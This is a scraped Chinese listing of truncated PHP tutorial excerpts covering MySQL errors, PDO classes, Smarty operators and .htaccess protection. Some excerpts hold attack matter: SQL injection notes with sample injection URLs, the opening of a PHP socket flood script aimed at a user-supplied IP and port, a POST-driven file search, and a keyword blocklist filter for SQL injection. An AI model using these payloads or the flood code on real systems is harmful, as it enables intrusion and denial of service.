Time of Update: 2016-07-29
新裝了windows7 64位系統後,配備布置許多東西,總是有這樣的那樣子的拂意,昨天在開始配備布置php+apache的時候,echo phpinfo()完全沒問題,但是一朝串連mysql就會呈現頁面被重設的問題。原來問題不大,但是我卻走到了誤區: 1、我懷疑64位系統的問題; 2、我感覺代碼靠不住,因為另外都能執行,輕率寫個 substr()也是能顯示出來的 ...... 這個問題糾結了我一天多,但是還是沒解決到,無奈之下 我用" php 串連 mysql 串連被重設
Time of Update: 2016-07-29
Fatal error: Non-static method Conn::__construct() cannot be called statically in /file.php 沒有靜態方法(裡面這個指方法參數,字串類型),不能從靜態上下文引用。 Fatal error: [] operator not supported for strings in /file.php 當一個變數已設為非數群組類型的時候,就不能再次使用[]讓同名變數增加資料索引值 解決方案:1.改變變數名稱、2.使用$
Time of Update: 2016-07-29
今天項目中用到,去掉字串中的最後一個字元 原字串1,2,3,4,5,6, 去掉最後一個字元",",最終結果為1,2,3,4,5,6 代碼如下: 複製代碼 代碼如下:$str = "1,2,3,4,5,6,"; $newstr = substr($str,0,strlen($str)-1); echo $newstr; 解讀: 採用php的substr()方法, 文法: string substr(string string, int start, int [length]); 參數1:原字串;
Time of Update: 2016-07-29
百度之後決定使用PDO,至於為什麼選擇PDO,這裡就不再多說,大家自己去百度下就能明白。 既然要換,那最基本就需要有個常用的資料庫操作類,也就是所謂的增刪改查等,昨晚搗騰了一晚,大致弄出了個雛形,以下就是代碼,希望大家能給出點意見。 複製代碼 代碼如下:/* 作者:胡睿 日期:2011/03/19 電郵:hooray0905@foxmail.com 20110319 常用資料庫操作,如:增刪改查,擷取單條記錄、多條記錄,返回最新一條插入記錄id,返回操作記錄行數等 */ /* 參數說明 int
Time of Update: 2016-07-29
原文標題是最佳化 myeclipse7.0 速度(尤其是building workspace),都是eclipse設定一樣的。 大家一定對buileding workspace時那緩慢的速度給困擾到了吧~ 其實只要把project選項裡的 building automatically前的勾去掉,就可以快很多了。。 另外大家一定對 myeclipse 的速度經常感到痛苦把,ok,現在開始給 myeclipse 提速: 一、加大JVM的非堆記憶體 開啟 eclipse.ini
Time of Update: 2016-07-29
curl()、file_get_contents()、snoopy.class.php這三個遠程頁面抓取或採集中用到的工具,默跡還是侵向於用snoopy.class.php,因為他效率比較高且不需要伺服器特定配置支援,在普通虛擬機器主機中即可使用,file_get_contents()效率稍低些,常用失敗的情況、curl()效率挺高的,支援多線程,不過需要開啟下curl擴充。下面是curl擴充開啟的步驟:
Time of Update: 2016-07-29
注意: 除非數組是被引用,foreach 所操作的是指定數組的一個拷貝,而不是該數組本身。因此數組指標不會被 each() 結構改變,對返回的數組單元的修改也不會影響原數組。 1. 自php5起,foreach 還可能遍曆對象的屬性。 2. 自php5起,foreach 可以很容易地通過在 $value 之前加上 & 來修改數組的單元,此方法將以引用賦值而不是拷貝一個值。 複製代碼 代碼如下:$arr = array(1, 2, 3, 4); foreach ($arr as &$value)
Time of Update: 2016-07-29
eq相等, ne、neq不相等, gt大於, lt小於, gte、ge大於等於, lte、le 小於等於, not非, mod求模。 is [not] div by是否能被某數整除, is [not] even是否為偶數, $a is [not] even by $b即($a / $b) % 2 == 0, is [not] odd是否為奇, $a is not odd by $b即($a / $b) % 2 != 0 樣本: equal/ not equal/ greater than/
Time of Update: 2016-07-29
代碼大致如下所示: 複製代碼 代碼如下:function generate_auto_increment_id($namespace, array $option = array()) { $option += array( 'init' => 1, 'step' => 1, ); $instance = new Mongo(); $instance = $instance->selectCollection('_seq', 'seq'); $seq =
Time of Update: 2016-07-29
複製代碼 代碼如下:function gmfun($path=”.”) { $d = @dir($path); while(false !== ($v = $d->read())) { if($v == “.” || $v == “..”) continue; $file = $d->path.”/”.$v; if(@is_dir($file)) { gmfun($file); } else { if(@ereg(stripslashes($_POST["key"]),$file)) {
Time of Update: 2016-07-29
SQL注入的重點就是構造SQL語句,只有靈活的運用SQL 語句才能構造出牛比的注入字串。學完之後寫了點筆記,已備隨時使用。希望你在看下面內容時先了 解SQL的基本原理。筆記中的代碼來自網路。 ===基礎部分=== 本表查詢: http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 http://127.0.0.1/injection/user.php?username=angel' and LEFT(
Time of Update: 2016-07-29
複製代碼 代碼如下:function jk1986_checksql() { $bad_str = "and|select|update|'|delete|insert|*"; $bad_Array = explode("|",$bad_str); /** 過濾Get參數 **/ foreach ($bad_Array as $bad_a) { foreach ($_GET as $g) { if (substr_count(strtolower($g),$bad_a) > 0) { echo
Time of Update: 2016-07-29
一、PHP調用fckeditor方法。 二、JS調用fckeditor方法。 複製代碼 代碼如下:require_once(PATH_PRE.”fckeditor.php”); // 包含fckeditor類, $oFCKeditor = new FCKeditor('content') ; //建立一個fckeditor對象,表單的名稱為content $oFCKeditor->BasePath=”../fckeditor/”; //編輯器所在目錄
Time of Update: 2016-07-29
這個索引值除了即食麵資料的記錄和搜尋,還起著記錄日期資訊的作用,資訊量很可觀。 那麼,如何還原索引值為可用的日期資訊呢? date('z')返回的是一年中的第幾天,傳回值為從0開始至365的整數。要將這些整數還原為日期資訊,我們只需要一個簡單的計算。以今年(2008年)第159天(實際為160天,php中從0開始,0對應於常規的第一天)為例,計算它的日期、星期方法如下: 複製代碼 代碼如下:$MyDate=159; //第159天 $milliseconds = mktime(0,0,0,1,1
Time of Update: 2016-07-29
一、 注入式攻擊的類型 可能存在許多不同類型的攻擊動機,但是乍看上去,似乎存在更多的類型。這是非常真實的-如果惡意使用者發現了一個能夠執行多個查詢的辦法的話。本文後面,我們會對此作詳細討論。 如 果你的指令碼正在執行一個SELECT指令,那麼,攻擊者可以強迫顯示一個表格中的每一行記錄-通過把一個例如"1=1"這樣的條件注入到WHERE子句中,如下所示(其中,注入部分以粗體顯示): SELECT * FROM wines WHERE variety = 'lagrein' OR 1=1;'
Time of Update: 2016-07-29
用PHP代碼調用sockets,直接用伺服器的網路攻擊別的IP,常見代碼如下: 複製代碼 代碼如下:$packets = 0; $ip = $_GET[\'ip\']; $rand = $_GET[\'port\']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET[\'time\']; $time = time(); print \"Flooded: $ip on port $rand \"; $max_time
Time of Update: 2016-07-29
複製代碼 代碼如下:class Mobi { function __isMobile() { $useragent=$_SERVER['HTTP_USER_AGENT']; if(preg_match('/android|avantgo|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|opera m(ob|in)i|palm(
Time of Update: 2016-07-29
// ※CheckMoney($C_Money) 檢查資料是否是99999.99格式 // ※CheckEmailAddr($C_mailaddr) 判斷是否為有效郵件地址 // ※CheckWebAddr($C_weburl) 判斷是否為有效網址 // ※CheckEmpty($C_char) 判斷字串是否為空白 // ※CheckLengthBetween($C_char, $I_len1, $I_len2=100) 判斷是否為指定長度內字串 // ※CheckUser($C_user)
Time of Update: 2016-07-29
PHP使用file_get_contents的代理方法擷取遠程網頁的代碼。 複製代碼 代碼如下:$url = "http://www.jb51.net/"; $ctx = stream_context_create(array( 'http' => array('timeout' => 5, 'proxy' => 'tcp://60.175.203.243:8080', 'request_fulluri' => True,) ) ); $result =
Time of Update: 2016-07-29
比如說,想要保護admin檔案夾,經過以下兩個步驟: 步驟一、可以用記事本建立檔案.htaccess,輸入以下內容: AuthType BasicAuth UserFile D:/AppServ/www/Hill/admin/.htpasswd AuthName “hill” require valid-user 各行不多解釋,關鍵是第二行,一定要是絕對路徑,表示.htpasswd檔案的位置。(位置任意) 然後把這個名為.htaccess的檔案放到admin檔案夾中。